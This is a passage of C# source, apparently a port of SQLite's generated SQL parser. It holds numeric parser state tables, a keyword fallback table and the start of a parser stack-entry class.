 432,  145,  444,   73,  315,  465,  466,\n/*  1060 */   462,  462,   25,   25,   24,   24,   24,   24,  395,   26,\n/*  1070 */    26,   26,   26,   27,   27,   28,   28,   28,   29,  218,\n/*  1080 */    35,  344,  445,    3,  337,  394,  337,  333,  423,  278,\n/*  1090 */   388,  276,  280,  207,  147,   35,  344,  341,    3,  334,\n/*  1100 */   424,  334,  333,  423,  308,  623,  280,  424,  444,   74,\n/*  1110 */   444,   89,  341,  337,    6,  346,  338,  337,  421,  337,\n/*  1120 */   470,  424,   65,  332,  280,  481,  446,  445,  334,  247,\n/*  1130 */   346,  424,  334,  424,  334,  594,  280,  444,   90,  424,\n/*  1140 */   481,  444,   91,  444,   92,   38,   37,  625,  337,  410,\n/*  1150 */    47,  424,  237,  280,   36,  335,  336,  354,  248,  450,\n/*  1160 */    38,   37,  514,  334,  572,  381,  572,  596,  424,   36,\n/*  1170 */   335,  336,  444,   75,  450,  200,  506,  216,  154,  597,\n/*  1180 */   239,  240,  241,  146,  243,  249,  547,  593,  158,  433,\n/*  1190 */   452,  452,  452,  453,  454,   10,  598,  280,   20,   46,\n/*  1200 */   174,  412,  298,  337,  424,  452,  452,  452,  453,  454,\n/*  1210 */    10,  299,  424,   35,  344,  352,    3,  250,  334,  434,\n/*  1220 */   333,  423,  337,  172,  280,  581,  208,  444,   17,  171,\n/*  1230 */   341,   19,  173,  447,  424,  422,  423,  334,  337,  424,\n/*  1240 */   235,  280,  204,  205,  206,   42,  444,   94,  346,  435,\n/*  1250 */   136,  451,  221,  334,  308,  624,  424,  349,  481,  490,\n/*  1260 */   445,  152,  444,   95,  424,  424,  424,  236,  503,  491,\n/*  1270 */   507,  179,  424,  481,  424,  402,  295,  285,   38,   37,\n/*  1280 */   271,  310,  158,  424,  296,  424,  216,   36,  335,  336,\n/*  1290 */   509,  266,  450,  190,  191,  539,  267,  625,  558,  273,\n/*  1300 */   275,   48,  277,  522,  279,  424,  424,  450,  255,  409,\n/*  1310 */   424,  424,  257,  424,  424,  424,  284,  424,  386,  424,\n/*  1320 */   357,  584,  585,  452,  452,  452,  453,  454,   10,  259,\n/*  1330 */   393,  424,  289,  424,  592,  603,  424,  424,  452,  452,\n/*  1340 */   452,  297,  300,  301,  505,  424,  617,  424,  363,  424,\n/*  1350 */   424,  373,  577,  158,  158,  511,  424,  424,  424,  525,\n/*  1360 */   588,  424,  154,  589,  601,   54,   54,  620,  512,  306,\n/*  1370 */   319,  530,  531,  535,  264,  107,  228,  536,  534,  375,\n/*  1380 */   559,  304,  560,  561,  305,  227,  229,  553,  567,  161,\n/*  1390 */   162,  379,  377,  163,   51,  209,  569,  282,  164,  570,\n/*  1400 */   385,  143,  580,  116,  119,  183,  400,  590,  401,  121,\n/*  1410 */   122,  123,  124,  126,  599,  328,  614,   55,   58,  615,\n/*  1420 */   616,  619,   62,  418,  103,  226,  111,  176,  242,  182,\n/*  1430 */   437,  313,  201,  314,  670,  671,  672,  149,  150,  467,\n/*  1440 */   464,   34,  483,  471,  480,  184,  197,  502,  484,    5,\n/*  1450 */   485,  151,  489,   44,  141,   11,  106,  160,  225,  518,\n/*  1460 */   519,   49,  510,  108,  367,  270,   12,  155,  109,   50,\n/*  1470 */   110,  262,  376,  186,  568,  113,  142,  154,  165,  115,\n/*  1480 */    15,  283,  583,  166,  167,  380,  586,  117,   13,  120,\n/*  1490 */   372,   52,   53,  118,  591,  169,  114,  170,  595,  125,\n/*  1500 */   127,  571,  575,  602,   14,  128,  611,  612,   61,  175,\n/*  1510 */   189,  415,  302,  627,  960,  960,  960,  960,  411,\n};\n    static YYCODETYPE[] yy_lookahead = new YYCODETYPE[]{\n/*     0 */    19,  142,  143,  144,  145,   24,  116,   26,   75,   76,\n/*    10 */    77,   78,   25,   80,   81,   82,   83,   84,   85,   86,\n/*    20 */    87,   88,   89,   90,   26,   27,  160,   26,   27,   48,\n/*    30 */    49,   79,   80,   81,   82,   83,   84,   85,   86,   87,\n/*    40 */    88,   89,   90,  222,  223,  224,  225,   66,   67,   68,\n/*    50 */    69,   70,   71,   72,   73,   74,   75,   76,   77,   78,\n/*    60 */   194,   80,   81,   82,   83,   84,   85,   86,   87,   88,\n/*    70 */    89,   90,   19,   90,   19,   94,  174,   25,   25,   80,\n/*    80 */    81,   82,   83,   84,   85,   86,   87,   88,   89,   90,\n/*    90 */    26,   27,   94,   95,   96,   94,   95,   99,  100,  101,\n/*   100 */    19,   48,   49,  150,  174,   52,  119,  166,  110,   84,\n/*   110 */    85,   86,   87,   88,   89,   90,   26,   27,  165,   66,\n/*   120 */    67,   68,   69,   70,   71,   72,   73,   74,   75,   76,\n/*   130 */    77,   78,  186,   80,   81,   82,   83,   84,   85,   86,\n/*   140 */    87,   88,   89,   90,   19,   90,  205,   95,   84,   85,\n/*   150 */   186,   96,   97,   98,   99,  100,  101,  102,   94,   95,\n/*   160 */   195,   97,  150,  222,  109,  224,  225,   26,  104,  105,\n/*   170 */   217,   90,  120,   48,   49,   50,   86,  165,   97,   98,\n/*   180 */    99,  100,  101,  102,   94,   95,  174,  175,    1,    2,\n/*   190 */   109,   66,   67,   68,   69,   70,   71,   72,   73,   74,\n/*   200 */    75,   76,   77,   78,  191,   80,   81,   82,   83,   84,\n/*   210 */    85,   86,   87,   88,   89,   90,   19,  116,   35,  150,\n/*   220 */    12,   24,  208,  150,  222,  150,  224,  225,  216,  128,\n/*   230 */   161,  162,  150,  221,  165,   94,   28,  150,  165,   56,\n/*   240 */   165,  197,  160,  170,  171,   48,   49,  165,  204,  174,\n/*   250 */   175,   43,  165,   45,  185,  186,  174,  175,  169,  170,\n/*   260 */   171,  174,  175,   66,   67,   68,   69,   70,   71,   72,\n/*   270 */    73,   74,   75,   76,   77,   78,  194,   80,   81,   82,\n/*   280 */    83,   84,   85,   86,   87,   88,   89,   90,   19,  214,\n/*   290 */   215,  108,  150,   25,  148,  150,   64,   22,  216,   24,\n/*   300 */   146,  147,  215,  221,  231,  232,  152,  165,  154,  150,\n/*   310 */   165,   49,  170,  171,  160,  181,  182,   48,   49,  174,\n/*   320 */   175,  232,  188,  165,  165,   21,   94,    0,    1,    2,\n/*   330 */    98,   55,  174,  174,  175,   66,   67,   68,   69,   70,\n/*   340 */    71,   72,   73,   74,   75,   76,   77,   78,  194,   80,\n/*   350 */    81,   82,   83,   84,   85,   86,   87,   88,   89,   90,\n/*   360 */    19,  129,  130,  131,   96,   61,  104,   99,  100,  101,\n/*   370 */   150,  226,  218,  231,  232,  216,  150,  196,  110,   26,\n/*   380 */    27,  105,  106,  107,  158,  165,  183,  161,  162,   48,\n/*   390 */    49,  165,  116,  166,  174,  175,   86,   87,   88,   89,\n/*   400 */    90,  247,   84,   85,  100,  136,  183,   66,   67,   68,\n/*   410 */    69,   70,   71,   72,   73,   74,   75,   76,   77,   78,\n/*   420 */    11,   80,   81,   82,   83,   84,   85,   86,   87,   88,\n/*   430 */    89,   90,   19,  183,  150,  222,   23,  224,  225,  237,\n/*   440 */   220,  150,  138,   24,  160,   26,   22,   94,   95,  165,\n/*   450 */    26,   27,   26,   27,   89,   90,  165,  244,  174,  175,\n/*   460 */   236,   48,   49,   22,   55,  174,  175,   26,   27,   22,\n/*   470 */    23,  163,   25,  120,  166,  167,  168,  136,  194,   66,\n/*   480 */    67,   68,   69,   70,   71,   72,   73,   74,   75,   76,\n/*   490 */    77,   78,  153,   80,   81,   82,   83,   84,   85,   86,\n/*   500 */    87,   88,   89,   90,   19,  196,  160,  150,   23,  173,\n/*   510 */   198,  220,   65,   94,  105,  106,  107,  181,   94,   95,\n/*   520 */    94,   95,  165,   96,  150,  116,   99,  100,  101,   31,\n/*   530 */   150,  174,  175,   48,   49,   94,   95,  110,   40,  165,\n/*   540 */   194,  161,  162,  166,  160,  165,  120,  166,  174,  175,\n/*   550 */   233,   66,   67,   68,   69,   70,   71,   72,   73,   74,\n/*   560 */    75,   76,   77,   78,  218,   80,   81,   82,   83,   84,\n/*   570 */    85,   86,   87,   88,   89,   90,   19,   12,  194,  150,\n/*   580 */    23,  235,  205,  166,  167,  168,  240,  150,  172,  173,\n/*   590 */   206,  207,  150,   28,  165,  190,  191,  181,   23,  150,\n/*   600 */    48,   49,  165,  174,  175,   48,   49,  165,   43,  233,\n/*   610 */    45,  174,  175,  135,  165,  137,  174,  175,  190,  191,\n/*   620 */    55,   69,   70,   66,   67,   68,   69,   70,   71,   72,\n/*   630 */    73,   74,   75,   76,   77,   78,  150,   80,   81,   82,\n/*   640 */    83,   84,   85,   86,   87,   88,   89,   90,   19,  150,\n/*   650 */    98,  165,   23,  250,  251,  150,  155,  150,   19,   22,\n/*   660 */   174,  175,  213,   26,  165,  169,  170,  171,   23,  150,\n/*   670 */   165,  150,  165,  174,  175,   19,  150,   48,   49,  174,\n/*   680 */   175,  174,  175,   27,  165,  228,  165,  112,   49,  114,\n/*   690 */   115,  165,  177,  174,  175,   66,   67,   68,   69,   70,\n/*   700 */    71,   72,   73,   74,   75,   76,   77,   78,  150,   80,\n/*   710 */    81,   82,   83,   84,   85,   86,   87,   88,   89,   90,\n/*   720 */    19,  150,   23,  165,   25,   24,  150,  150,  232,  150,\n/*   730 */   229,   94,  174,  175,  213,  234,  165,   25,  150,  150,\n/*   740 */   150,  165,  165,  104,  165,  174,  175,  177,  109,   48,\n/*   750 */    49,  174,  175,  165,  165,  165,   19,  112,   22,  114,\n/*   760 */   115,  177,  174,  175,   27,   16,  187,   66,   67,   68,\n/*   770 */    69,   70,   71,   72,   73,   74,   75,   76,   77,   78,\n/*   780 */   150,   80,   81,   82,   83,   84,   85,   86,   87,   88,\n/*   790 */    89,   90,   19,  150,   95,  165,  144,  145,  150,  150,\n/*   800 */   150,  150,  113,  213,  174,  175,  117,   58,  165,   60,\n/*   810 */    74,   23,  150,  165,  165,  165,  165,  174,  175,  120,\n/*   820 */    19,   48,   49,  174,  175,  174,  175,  165,  209,  166,\n/*   830 */   241,   22,   23,  166,   25,  187,  174,  175,  126,   66,\n/*   840 */    67,   68,   69,   70,   71,   72,   73,   74,   75,   76,\n/*   850 */    77,   78,  150,   80,   81,   82,   83,   84,   85,   86,\n/*   860 */    87,   88,   89,   90,   19,  150,  150,  165,  205,  182,\n/*   870 */    86,  150,  205,  150,   65,  166,  174,  175,  206,  207,\n/*   880 */   165,  165,  177,  150,   23,   25,  165,  138,  165,  174,\n/*   890 */   175,  241,  166,   48,   49,  174,  175,  113,  165,   98,\n/*   900 */   112,  117,  114,  115,    7,    8,    9,  174,  175,  193,\n/*   910 */   187,   66,   67,   68,   69,   70,   71,   72,   73,   74,\n/*   920 */    75,   76,   77,   78,  150,   80,   81,   82,   83,   84,\n/*   930 */    85,   86,   87,   88,   89,   90,   19,  150,   97,  165,\n/*   940 */   160,  150,  177,  150,  150,  150,  248,  249,  174,  175,\n/*   950 */    97,   98,  165,  129,  130,  150,  165,  116,  165,  165,\n/*   960 */   165,  174,  175,  103,  178,   48,   49,  174,  175,  128,\n/*   970 */   165,   98,  242,  112,  194,  114,  115,  199,  187,  174,\n/*   980 */   175,  187,  109,  242,   67,   68,   69,   70,   71,   72,\n/*   990 */    73,   74,   75,   76,   77,   78,  150,   80,   81,   82,\n/*  1000 */    83,   84,   85,   86,   87,   88,   89,   90,   19,  150,\n/*  1010 */   160,  165,  209,  150,  112,  150,  114,  115,    7,    8,\n/*  1020 */   174,  175,  209,    6,  165,   29,  199,  150,  165,   33,\n/*  1030 */   165,  150,  149,  174,  175,  150,  241,   48,   49,  174,\n/*  1040 */   175,  149,  165,   47,  194,  149,  165,   16,  160,  149,\n/*  1050 */   165,  174,  175,   13,  151,  174,  175,   68,   69,   70,\n/*  1060 */    71,   72,   73,   74,   75,   76,   77,   78,  218,   80,\n/*  1070 */    81,   82,   83,   84,   85,   86,   87,   88,   89,   90,\n/*  1080 */    19,   20,  194,   22,  150,  150,  150,   26,   27,   58,\n/*  1090 */   240,   60,  150,  160,  151,   19,   20,   36,   22,  165,\n/*  1100 */   165,  165,   26,   27,   22,   23,  150,  165,  174,  175,\n/*  1110 */   174,  175,   36,  150,   25,   54,  150,  150,  150,  150,\n/*  1120 */    23,  165,   25,  159,  150,   64,  194,  194,  165,  199,\n/*  1130 */    54,  165,  165,  165,  165,  193,  150,  174,  175,  165,\n/*  1140 */    64,  174,  175,  174,  175,   84,   85,   65,  150,  193,\n/*  1150 */   126,  165,  217,  150,   93,   94,   95,  123,  200,   98,\n/*  1160 */    84,   85,   86,  165,  105,  106,  107,  193,  165,   93,\n/*  1170 */    94,   95,  174,  175,   98,    5,   23,  116,   25,  193,\n/*  1180 */    10,   11,   12,   13,   14,  201,   23,   17,   25,  150,\n/*  1190 */   129,  130,  131,  132,  133,  134,  193,  150,  125,  124,\n/*  1200 */    30,  245,   32,  150,  165,  129,  130,  131,  132,  133,\n/*  1210 */   134,   41,  165,   19,   20,  122,   22,  202,  165,  150,\n/*  1220 */    26,   27,  150,   53,  150,   55,  160,  174,  175,   59,\n/*  1230 */    36,   22,   62,  203,  165,   26,   27,  165,  150,  165,\n/*  1240 */   193,  150,  105,  106,  107,  135,  174,  175,   54,  150,\n/*  1250 */   150,  150,  227,  165,   22,   23,  165,  150,   64,  150,\n/*  1260 */   194,  118,  174,  175,  165,  165,  165,  193,  150,  157,\n/*  1270 */   150,  157,  165,   64,  165,  105,  106,  107,   84,   85,\n/*  1280 */    23,  111,   25,  165,  193,  165,  116,   93,   94,   95,\n/*  1290 */   150,  150,   98,   84,   85,  150,  150,   65,  150,  150,\n/*  1300 */   150,  104,  150,   94,  150,  165,  165,   98,  210,  139,\n/*  1310 */   165,  165,  210,  165,  165,  165,  150,  165,  150,  165,\n/*  1320 */   121,  150,  150,  129,  130,  131,  132,  133,  134,  210,\n/*  1330 */   150,  165,  150,  165,  150,  150,  165,  165,  129,  130,\n/*  1340 */   131,  150,  150,  150,  211,  165,  150,  165,  104,  165,\n/*  1350 */   165,   23,   23,   25,   25,  211,  165,  165,  165,  176,\n/*  1360 */    23,  165,   25,   23,   23,   25,   25,   23,  211,   25,\n/*  1370 */    46,  176,  184,  103,  176,   22,   90,  176,  178,   18,\n/*  1380 */   176,  179,  176,  176,  179,  230,  230,  184,  157,  156,\n/*  1390 */   156,   44,  157,  156,  135,  157,  157,  238,  156,  239,\n/*  1400 */   157,   66,  189,  189,   22,  219,  157,  199,   18,  192,\n/*  1410 */   192,  192,  192,  189,  199,  157,   39,  243,  243,  157,\n/*  1420 */   157,   37,  246,    1,  164,  180,  180,  249,   15,  219,\n/*  1430 */    23,  252,   22,  252,  118,  118,  118,  118,  118,  113,\n/*  1440 */    98,   22,   11,   23,   23,   22,   22,  120,   23,   34,\n/*  1450 */    23,   25,   23,   25,  118,   25,   22,  102,   50,   23,\n/*  1460 */    23,   22,   27,   22,   50,   23,   34,   34,   22,   22,\n/*  1470 */    22,  109,   19,   24,   20,  104,   38,   25,  104,   22,\n/*  1480 */     5,  138,    1,  118,   34,   42,   27,  108,   22,  119,\n/*  1490 */    50,   74,   74,  127,    1,   16,   51,  121,   20,  119,\n/*  1500 */   108,   57,   51,  128,   22,  127,   23,   23,   16,   15,\n/*  1510 */    22,    3,  140,    4,  253,  253,  253,  253,   63,\n};\n    const int YY_SHIFT_USE_DFLT = (-111);\n    const int YY_SHIFT_MAX = 415;\n    static short[] yy_shift_ofst = new short[]{\n/*     0 */   187, 1061, 1170, 1061, 1194, 1194,   -2,   64,   64,  -19,\n/*    10 */  1194, 1194, 1194, 1194, 1194,  276,    1,  125, 1076, 1194,\n/*    20 */  1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194,\n/*    30 */  1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194,\n/*    40 */  1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194,\n/*    50 */  1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194, 1194,  -48,\n/*    60 */   409,    1,    1,  141,  318,  318, -110,   53,  197,  269,\n/*    70 */   341,  413,  485,  557,  629,  701,  773,  845,  773,  773,\n/*    80 */   773,  773,  773,  773,  773,  773,  773,  773,  773,  773,\n/*    90 */   773,  773,  773,  773,  773,  773,  917,  989,  989,  -67,\n/*   100 */   -67,   -1,   -1,   55,   25,  310,    1,    1,    1,    1,\n/*   110 */     1,  639,  304,    1,    1,    1,    1,    1,    1,    1,\n/*   120 */     1,    1,    1,    1,    1,    1,    1,    1,    1,  365,\n/*   130 */   141,  -17, -111, -111, -111, 1209,   81,  424,  353,  426,\n/*   140 */   441,   90,  565,  565,    1,    1,    1,    1,    1,    1,\n/*   150 */     1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n/*   160 */     1,    1,    1,    1,    1,    1,    1,    1,    1,    1,\n/*   170 */     1,    1,    1,    1,    1,    1,  447,  809,  327,  419,\n/*   180 */   419,  419,  841,  101, -110, -110, -110, -111, -111, -111,\n/*   190 */   232,  232,  268,  427,  575,  645,  788,  208,  861,  699,\n/*   200 */   897,  784,  637,   52,  183,  183,  183,  902,  902,  996,\n/*   210 */  1059,  902,  902,  902,  902,  275,  689,  -13,  141,  824,\n/*   220 */   824,  478,  498,  498,  656,  498,  262,  498,  141,  498,\n/*   230 */   141,  860,  737,  712,  737,  656,  656,  712, 1017, 1017,\n/*   240 */  1017, 1017, 1040, 1040, 1089, -110, 1024, 1034, 1075, 1093,\n/*   250 */  1073, 1110, 1143, 1143, 1197, 1199, 1197, 1199, 1197, 1199,\n/*   260 */  1244, 1244, 1324, 1244, 1270, 1244, 1353, 1286, 1286, 1324,\n/*   270 */  1244, 1244, 1244, 1353, 1361, 1143, 1361, 1143, 1361, 1143,\n/*   280 */  1143, 1347, 1259, 1361, 1143, 1335, 1335, 1382, 1024, 1143,\n/*   290 */  1390, 1390, 1390, 1390, 1024, 1335, 1382, 1143, 1377, 1377,\n/*   300 */  1143, 1143, 1384, -111, -111, -111, -111, -111, -111,  552,\n/*   310 */   749, 1137, 1031, 1082, 1232,  801, 1097, 1153,  873, 1011,\n/*   320 */   853, 1163, 1257, 1328, 1329, 1337, 1340, 1341,  736, 1344,\n/*   330 */  1422, 1413, 1407, 1410, 1316, 1317, 1318, 1319, 1320, 1342,\n/*   340 */  1326, 1419, 1420, 1421, 1423, 1431, 1424, 1425, 1426, 1427,\n/*   350 */  1429, 1428, 1415, 1430, 1432, 1428, 1327, 1434, 1433, 1435,\n/*   360 */  1336, 1436, 1437, 1438, 1408, 1439, 1414, 1441, 1442, 1446,\n/*   370 */  1447, 1440, 1448, 1355, 1362, 1453, 1454, 1449, 1371, 1443,\n/*   380 */  1444, 1445, 1452, 1451, 1343, 1374, 1457, 1475, 1481, 1365,\n/*   390 */  1450, 1459, 1379, 1417, 1418, 1366, 1466, 1370, 1493, 1479,\n/*   400 */  1376, 1478, 1380, 1392, 1378, 1482, 1375, 1483, 1484, 1492,\n/*   410 */  1455, 1494, 1372, 1488, 1508, 1509,\n};\n    const int YY_REDUCE_USE_DFLT = (-180);\n    const int YY_REDUCE_MAX = 308;\n    static short[] yy_reduce_ofst = new short[]{\n/*     0 */  -141,   82,  154,  284,   12,   75,   69,   73,  142,  -59,\n/*    10 */   145,   87,  159,  220,  291,  346,  226,  213,  357,  374,\n/*    20 */   429,  437,  442,  486,  499,  505,  507,  519,  558,  571,\n/*    30 */   577,  588,  630,  643,  649,  651,  662,  702,  715,  721,\n/*    40 */   733,  774,  787,  793,  805,  846,  859,  865,  877,  881,\n/*    50 */   934,  936,  963,  967,  969,  998, 1053, 1072, 1088, -179,\n/*    60 */   850,  956,  380,  308,   89,  496,  384,    2,    2,    2,\n/*    70 */     2,    2,    2,    2,    2,    2,    2,    2,    2,    2,\n/*    80 */     2,    2,    2,    2,    2,    2,    2,    2,    2,    2,\n/*    90 */     2,    2,    2,    2,    2,    2,    2,    2,    2,    2,\n/*   100 */     2,    2,    2,  416,    2,    2,  449,  579,  648,  723,\n/*   110 */   791,  134,  501,  716,  521,  794,  589,  -47,  650,  590,\n/*   120 */   795,  942,  974,  986, 1003, 1047, 1074,  935, 1091,    2,\n/*   130 */   417,    2,    2,    2,    2,  158,  336,  526,  576,  863,\n/*   140 */   885,  966,  405,  428,  968, 1039, 1069, 1099, 1100,  966,\n/*   150 */  1101, 1107, 1109, 1118, 1120, 1140, 1141, 1145, 1146, 1148,\n/*   160 */  1149, 1150, 1152, 1154, 1166, 1168, 1171, 1172, 1180, 1182,\n/*   170 */  1184, 1185, 1191, 1192, 1193, 1196,  403,  403,  652,  377,\n/*   180 */   663,  667, -134,  780,  888,  933, 1066,   44,  672,  698,\n/*   190 */   -98,  -70,  -54,  -36,  -35,  -35,  -35,   13,  -35,   14,\n/*   200 */   146,  181,  227,   14,  203,  223,  250,  -35,  -35,  224,\n/*   210 */   202,  -35,  -35,  -35,  -35,  339,  309,  312,  381,  317,\n/*   220 */   376,  457,  515,  570,  619,  584,  687,  705,  709,  765,\n/*   230 */   726,  786,  730,  778,  741,  803,  813,  827,  883,  892,\n/*   240 */   896,  900,  903,  943,  964,  932,  930,  958,  984, 1015,\n/*   250 */  1030, 1025, 1112, 1114, 1098, 1133, 1102, 1144, 1119, 1157,\n/*   260 */  1183, 1195, 1188, 1198, 1200, 1201, 1202, 1155, 1156, 1203,\n/*   270 */  1204, 1206, 1207, 1205, 1233, 1231, 1234, 1235, 1237, 1238,\n/*   280 */  1239, 1159, 1160, 1242, 1243, 1213, 1214, 1186, 1208, 1249,\n/*   290 */  1217, 1218, 1219, 1220, 1215, 1224, 1210, 1258, 1174, 1175,\n/*   300 */  1262, 1263, 1176, 1260, 1245, 1246, 1178, 1179, 1181,\n};\n    static YYACTIONTYPE[] yy_default = new YYACTIONTYPE[] {\n/*     0 */   634,  869,  958,  958,  869,  958,  958,  898,  898,  757,\n/*    10 */   867,  958,  958,  958,  958,  958,  958,  932,  958,  958,\n/*    20 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  958,\n/*    30 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  958,\n/*    40 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  958,\n/*    50 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  841,\n/*    60 */   958,  958,  958,  673,  898,  898,  761,  792,  958,  958,\n/*    70 */   958,  958,  958,  958,  958,  958,  793,  958,  871,  866,\n/*    80 */   862,  864,  863,  870,  794,  783,  790,  797,  772,  911,\n/*    90 */   799,  800,  806,  807,  933,  931,  829,  828,  847,  831,\n/*   100 */   853,  830,  840,  665,  832,  833,  958,  958,  958,  958,\n/*   110 */   958,  726,  660,  958,  958,  958,  958,  958,  958,  958,\n/*   120 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  834,\n/*   130 */   958,  835,  848,  849,  850,  958,  958,  958,  958,  958,\n/*   140 */   958,  958,  958,  958,  640,  958,  958,  958,  958,  958,\n/*   150 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  958,\n/*   160 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  958,\n/*   170 */   958,  882,  958,  936,  938,  958,  958,  958,  634,  757,\n/*   180 */   757,  757,  958,  958,  958,  958,  958,  751,  761,  950,\n/*   190 */   958,  958,  717,  958,  958,  958,  958,  958,  958,  958,\n/*   200 */   642,  749,  675,  759,  958,  958,  958,  662,  738,  904,\n/*   210 */   958,  923,  921,  740,  802,  958,  749,  758,  958,  958,\n/*   220 */   958,  865,  786,  786,  774,  786,  696,  786,  958,  786,\n/*   230 */   958,  699,  916,  796,  916,  774,  774,  796,  639,  639,\n/*   240 */   639,  639,  650,  650,  716,  958,  796,  787,  789,  779,\n/*   250 */   791,  958,  765,  765,  773,  778,  773,  778,  773,  778,\n/*   260 */   728,  728,  713,  728,  699,  728,  875,  879,  879,  713,\n/*   270 */   728,  728,  728,  875,  657,  765,  657,  765,  657,  765,\n/*   280 */   765,  908,  910,  657,  765,  730,  730,  808,  796,  765,\n/*   290 */   737,  737,  737,  737,  796,  730,  808,  765,  935,  935,\n/*   300 */   765,  765,  943,  683,  701,  701,  950,  955,  955,  958,\n/*   310 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  958,\n/*   320 */   958,  958,  958,  958,  958,  958,  958,  958,  884,  958,\n/*   330 */   958,  648,  958,  667,  815,  820,  816,  958,  817,  958,\n/*   340 */   743,  958,  958,  958,  958,  958,  958,  958,  958,  958,\n/*   350 */   958,  868,  958,  780,  958,  788,  958,  958,  958,  958,\n/*   360 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  958,\n/*   370 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  958,\n/*   380 */   958,  906,  907,  958,  958,  958,  958,  958,  958,  914,\n/*   390 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  958,\n/*   400 */   958,  958,  958,  958,  958,  958,  958,  958,  958,  958,\n/*   410 */   942,  958,  958,  945,  635,  958,  630,  632,  633,  637,\n/*   420 */   638,  641,  667,  668,  670,  671,  672,  643,  644,  645,\n/*   430 */   646,  647,  649,  653,  651,  652,  654,  661,  663,  682,\n/*   440 */   684,  686,  747,  748,  812,  741,  742,  746,  669,  823,\n/*   450 */   814,  818,  819,  821,  822,  836,  837,  839,  845,  852,\n/*   460 */   855,  838,  843,  844,  846,  851,  854,  744,  745,  858,\n/*   470 */   676,  677,  680,  681,  894,  896,  895,  897,  679,  678,\n/*   480 */   824,  827,  860,  861,  924,  925,  926,  927,  928,  856,\n/*   490 */   766,  859,  842,  781,  784,  785,  782,  750,  760,  768,\n/*   500 */   769,  770,  771,  755,  756,  762,  777,  810,  811,  775,\n/*   510 */   776,  763,  764,  752,  753,  754,  857,  813,  825,  826,\n/*   520 */   687,  688,  820,  689,  690,  691,  729,  732,  733,  734,\n/*   530 */   692,  711,  714,  715,  693,  700,  694,  695,  702,  703,\n/*   540 */   704,  707,  708,  709,  710,  705,  706,  876,  877,  880,\n/*   550 */   878,  697,  698,  712,  685,  674,  666,  718,  721,  722,\n/*   560 */   723,  724,  725,  727,  719,  720,  664,  655,  658,  767,\n/*   570 */   900,  909,  905,  901,  902,  903,  659,  872,  873,  731,\n/*   580 */   804,  805,  899,  912,  915,  917,  918,  919,  809,  920,\n/*   590 */   922,  913,  947,  656,  735,  736,  739,  881,  929,  795,\n/*   600 */   798,  801,  803,  883,  885,  887,  889,  890,  891,  892,\n/*   610 */   893,  886,  888,  930,  934,  937,  939,  940,  941,  944,\n/*   620 */   946,  951,  952,  953,  956,  957,  954,  636,  631,\n};\n    static int YY_SZ_ACTTAB = yy_action.Length;//(int)(yy_action.Length/sizeof(yy_action[0]))\n\n    /* The next table maps tokens into fallback tokens.  If a construct\n    ** like the following:\n    **\n    **      %fallback ID X Y Z.\n    **\n    ** appears in the grammar, then ID becomes a fallback token for X, Y,\n    ** and Z.  Whenever one of the tokens X, Y, or Z is input to the parser\n    ** but it does not parse, the type of the token is changed to ID and\n    ** the parse is retried before an error is thrown.\n    */\n#if YYFALLBACK\n    static YYCODETYPE[] yyFallback = new YYCODETYPE[]{\n0,  /*          $ => nothing */\n0,  /*       SEMI => nothing */\n26,  /*    EXPLAIN => ID */\n26,  /*      QUERY => ID */\n26,  /*       PLAN => ID */\n26,  /*      BEGIN => ID */\n0,  /* TRANSACTION => nothing */\n26,  /*   DEFERRED => ID */\n26,  /*  IMMEDIATE => ID */\n26,  /*  EXCLUSIVE => ID */\n0,  /*     COMMIT => nothing */\n26,  /*        END => ID */\n26,  /*   ROLLBACK => ID */\n26,  /*  SAVEPOINT => ID */\n26,  /*    RELEASE => ID */\n0,  /*         TO => nothing */\n0,  /*      TABLE => nothing */\n0,  /*     CREATE => nothing */\n26,  /*         IF => ID */\n0,  /*        NOT => nothing */\n0,  /*     EXISTS => nothing */\n26,  /*       TEMP => ID */\n0,  /*         LP => nothing */\n0,  /*         RP => nothing */\n0,  /*         AS => nothing */\n0,  /*      COMMA => nothing */\n0,  /*         ID => nothing */\n0,  /*    INDEXED => nothing */\n26,  /*      ABORT => ID */\n26,  /*      AFTER => ID */\n26,  /*    ANALYZE => ID */\n26,  /*        ASC => ID */\n26,  /*     ATTACH => ID */\n26,  /*     BEFORE => ID */\n26,  /*         BY => ID */\n26,  /*    CASCADE => ID */\n26,  /*       CAST => ID */\n26,  /*   COLUMNKW => ID */\n26,  /*   CONFLICT => ID */\n26,  /*   DATABASE => ID */\n26,  /*       DESC => ID */\n26,  /*     DETACH => ID */\n26,  /*       EACH => ID */\n26,  /*       FAIL => ID */\n26,  /*        FOR => ID */\n26,  /*     IGNORE => ID */\n26,  /*  INITIALLY => ID */\n26,  /*    INSTEAD => ID */\n26,  /*    LIKE_KW => ID */\n26,  /*      MATCH => ID */\n26,  /*        KEY => ID */\n26,  /*         OF => ID */\n26,  /*     OFFSET => ID */\n26,  /*     PRAGMA => ID */\n26,  /*      RAISE => ID */\n26,  /*    REPLACE => ID */\n26,  /*   RESTRICT => ID */\n26,  /*        ROW => ID */\n26,  /*    TRIGGER => ID */\n26,  /*     VACUUM => ID */\n26,  /*       VIEW => ID */\n26,  /*    VIRTUAL => ID */\n26,  /*    REINDEX => ID */\n26,  /*     RENAME => ID */\n26,  /*   CTIME_KW => ID */\n};\n#endif // * YYFALLBACK */\n\n    /* The following structure represents a single element of the\n** parser's stack.  Information stored includes:\n**\n**   +  The state number for the parser at this level of the stack.\n**\n**   +  The value of the token stored at this level of the stack.\n**      (In other words, the \"major\" token.)\n**\n**   +  The semantic value stored at this level of the stack.  This is\n**      the information used by the action routines in the grammar.\n**      It is sometimes called the \"minor\" token.\n*/\n    public class yyStackEntry\n    {\n      public YYACTIONTYPE stateno;       /* The state-number */\n      public YYCODETYPE major;         /* The major token value.  This is the code\n** number for the token at this stack level */\n      public YYMINORTYPE minor; 